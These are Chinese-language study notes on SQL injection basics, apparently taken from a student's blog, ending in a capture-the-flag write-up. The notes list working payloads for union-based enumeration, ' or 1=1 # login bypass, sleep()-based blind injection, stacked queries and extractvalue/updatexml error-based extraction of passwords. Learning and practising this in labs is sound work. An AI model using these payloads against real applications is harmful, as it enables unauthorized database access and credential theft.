技术内容 / 本科的一些学习笔记和wp / SQL注入基础
SQL注入基础
https://blog.csdn.net/ZXW_NUDT/article/details/121379112
0×01基础知识
MySQL常用语句
可通过select命令进行查询,如select version();
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
concat() → 没有分隔符的连接字符串
concat_ws() → 含有分割符的连接字符串
length():返回字符串的长度
substr()函数:截取字符串
group by:依据我们想要的规则对结果进行分组
limit()返回前几条或中间某几行数据
如select * from websec limit 0,1;其含义是将查看显示出来的数据进行分部展示,通常使用在SQL注入中显示结果过多,但是每次只能显示一部分的情况下(这里的含义就是,查看表websec的全部内容,然后显示以索引0开始,长度为1的结果
count()函数:聚集函数,统计个数下图表示查看websec表中有多少行数据
rand()函数:用于产生一个0-1的随机数
floor()函数:向下取整
system_user() → 系统用户名
user() → 用户名
current_user → 当前用户名
session_user() → 连接数据库的用户名
databases() → 数据库名
version() → 数据库版本
load_file() → 读取本地文件的函数
@@datadir → 读取数据库路径
ascii() → 返回ASCII码
hex() → 将字符串转换为十六进制
md5() → 返回MD5值
基础查询语句
#查询当前数据库
union select 1,database(),3
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询指定数据库所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#查询指定数据库指定表的指定列的字段值
select group_concat(username,0x3a,password) from security.users
0×02原理及基本思路
1.原理
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句;当用户使用sql查询语句时没有遵循代码与数据分离,输入的数据就会被被当作代码执行
2.思路
第一步 判断是否存在sql注入漏洞
判断方法:
1.id后加单引号,根据错误提示获取信息(字符型注入)
原理是单引号成功被数据库解析,而无论字符型还是整型都会因为单引号个数不匹配而报错(无报错并不代表不存在sql注入漏洞,因为页面可能对单引号作了过滤,这时可以考虑使用判断语句进行注入)
例如访问id=1' order by 1%23 ,页面回显的sql语句是SELECT * FROM users WHERE id='1' order by 1#'LIMIT0,1,由于**#**后面的语句都会被注释掉,所以真正执行的语句是SELECT * FROM users WHERE id='1' order by 1
此处%23即为url编码中的#,在mysql中#的作用是注释符(--+;-- ;#;均为注释符号)
2.1=1、1=2测试法,流程如下(数字型注入)
① url?id=1② url?id=1 ;and 1=1③ url?id=1 ;and 1=2
存在注入漏洞的表现: (原理 是 判断原网址是否对输入信息有过滤)
① 正常显示;② 正常显示,内容基本与①相同;③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不存在的表现:
①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
数值型注入常用总结
and1=2--+
'and1=2--+
"and1=2--+
)and1=2--+
')and1=2--+
")and1=2--+
"))and1=2--+
第二步 利用union联合搜索或其他语句来获取想要得到的信息
ORDER BY语句的简单应用
ORDER BY 语句用于根据指定的列对结果集进行排序。
在1'判断的例子中,order by 语句用于猜解字段数和列数,若不存在则会回显出错
1' order by n--+ ,n为指定列
ORDER BY 语句默认按照升序对记录进行排序,如果希望按照降序对记录进行排序,可以使用 DESC 关键字,例如
以字母顺序显示公司名称(Company)
SELECT Company, OrderNumber FROM Orders ORDER BY Company
以逆字母顺序显示公司名称
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC
一些常用的联合查询语句
1' union select database(),user()#
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
1' union select version(),@@version_compile_os#
- version() 获取当前数据库版本.
- @@version_compile_os 获取当前操作系统
1' union select table_name,table_schema from information_schema.tables where table_schema= '[ ]'#
通过此语句可以查询到指定库内的所有表和表名,最后的方框中填入想要查询的数据库名即可
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
-1' union select 1,2,(concat_ws(char(),user(),version(),database()))%23
能够获取当前数据库的库名,版本和连接用户,其中concat_ws()函数的作用是从数据库里取n个字段组合到一起并用符号分割显示,char()能够将十进制ASCII码转换为字符,%23为url编码中的#
group_concat()与concat_ws()的区别是前者将列组合显示,后者将行组合显示
验证绕过相关语句
1.利用 Sql 漏洞绕过登录验证
一般情况下弱类型密码是很难手动爆破的,例如25264654
但是若存在sql漏洞,在用户名中输入 123' or 1=1 #, 密码输入 123' or 1=1 #(也可空白),则可以验证成功
实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,# 后面的内容会被忽略,所以实际执行的语句如下
select * from users where username='123' or 1=1
利用注释符#和1=1的恒成立来绕过登陆验证
在用户名中输入 123' or '1'='1, 密码输入 123' or '1'='1(不加单引号会造成语法错误),实际执行语句如下
select * from users where username='123' or '1'='1' and password='123' or '1'='1
or条件使and两端验证结果均成立,从而绕过验证,无需使用注释符
其他实用语句
1.INSERT INTO语句,用于向表中插入新的行或列
INSERT INTO 表名称 VALUES (值1, 值2,....
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
2.SQL UPDATE 语句,用于修改表中数据
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
3.DELETE 语句,用于删除表中的行
DELETE FROM 表名称 WHERE 列名称 = 值
可以在不删除表的情况下删除所有的行,同时保持表的结构、属性和索引完整
DELETE FROM table_name或DELETE * FROM table_name
星号(*)是选取所有列的快捷方式。
SQL 通配符
在搜索数据库中的数据时,SQL 通配符可以替代一个或多个字符。
在 SQL 中,可使用以下通配符:
| 通配符 | 描述 |
|---|---|
| % | 代表零个或多个字符 |
| _ | 仅替代一个字符 |
| [charlist] | 字符列中的任何单一字符 |
| [^charlist] | |
| 或者 | |
| [!charlist] | 不在字符列中的任何单一字符 |
SELECT * FROM 表名 WHERE 列名 LIKE '[ ]'
在[ ]中,可利用通配符查找与指定值(例如123)相关的数据
123%以123开头的数据;%123%包含123的数据;_123第一个字符后是123的数据,同理1_2_3
常见注入方法
报错注入
https://blog.csdn.net/weixin_45253622/article/details/115003792
布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
注入流程一般为
(1)求当前数据库长度→(2)求当前数据库表的ASCII→(3)求当前数据库中表的个数→
(4)求当前数据库中其中一个表名的长度→(5)求当前数据库中其中一个表名的ASCII→(6)求列名的数量→
(7)求列名的长度→(8)求列名的ASCII→(9)求字段的数量→(10)求字段内容的长度→
(11)求字段内容对应的ASCII
步骤非常繁琐
相关sql语句见https://www.yuque.com/docs/share/2f8d137b-aa20-4110-aeac-9016a8c80438?#
时间盲注
时间盲注又称延迟注入,是一种盲注的手法, 提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如
,错误的话会导致执行时间很短。SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,或利用脚本程序跑出结果。时间盲注主要用到sleep()函数
时间盲注比布尔盲注难度稍高 ,关键在于不论你怎么输入就是不报错
时间盲注的sql语句很好理解,如
id= 1’ or sleep(3) %23
如果这个时候直接服务器过了三秒才反应,那么就存在时间注入
也可以添加if语句,控制if第一个参数
id= 1’ or if(1,sleep(3),0) %23
如果某一个条件正确就延迟三秒,如果错误就返回0 (也就是if第一个参数为1)
具体的注入语句示例如下
id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23
后面的盲注过程与布尔盲注类似
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理:mysql_multi_query() 支持多条sql语句同时执行,语句间以分号(;)分隔
在 ; 结束一个sql语句后继续构造下一条语句,两条语句会一起执行,这就是堆叠注入。
但在实际场景中为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以堆叠注入的使用条件十分有限
其与联合注入的相同点在于是将两条语句合并在一起,而区别是union 或者union all执行的语句类型是有限的,常见的是用来执行查询语句,而堆叠注入可以执行的是任意的语句。在字符长度限制范围内,堆叠注入可以执行多条语句
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
show
show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。
alert
作用:修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )
用法:
添加一个列
alter table " table_name" add " column_name" type;
删除一个列
alter table " table_name" drop " column_name" type;
改变列的数据类型
alter table " table_name" alter column " column_name" type;
改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
无列名注入
https://blog.csdn.net/weixin_46330722/article/details/109605941
异或注入
mysql里异或运算符为^ 或者 xor
两者的区别在于 ^运算符会做位异或运算 如1^2=3 1^2=3 ,而 xor会做逻辑运算 1 xor 0 会输出1
其他情况输出其他所有数据
作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用
于是payload可以写成
库名:账号:a'^extractvalue(1,concat('~',(select(database()))))#,密码123 成功爆破出来库名geek
表名:a'^extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#密码123
列名:a'^extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#密码123
a'^extractvalue(1,concat('~',(select(group_concat(password))from(geek.H4rDsq1))))#密码123
只有一部分,看起来是对返回长度做了过滤,需要再从右边读取一遍
a'^extractvalue(1,concat('~',(select(right(password,30))from(geek.H4rDsq1))))#密码123
这里注意获取到的flag是不完全的。这可能是因为后台用到了substr函数截取掉了一部分的flag信息。所以这里可以用left和right函数分别获取左右部分的flag
获取左边:?username=1'or(updatexml("~",concat("~",(select(group_concat(left(password,25)))from(H4rDsq1))),"~"))#&password=123
获取右边:?username=1'or(updatexml("~",concat("~",(select(group_concat(right(password,25)))from(H4rDsq1))),"~"))#&password=123
拼接得到flag{1c8746f8-4c2c-4945-ac95-0a39d9656b36}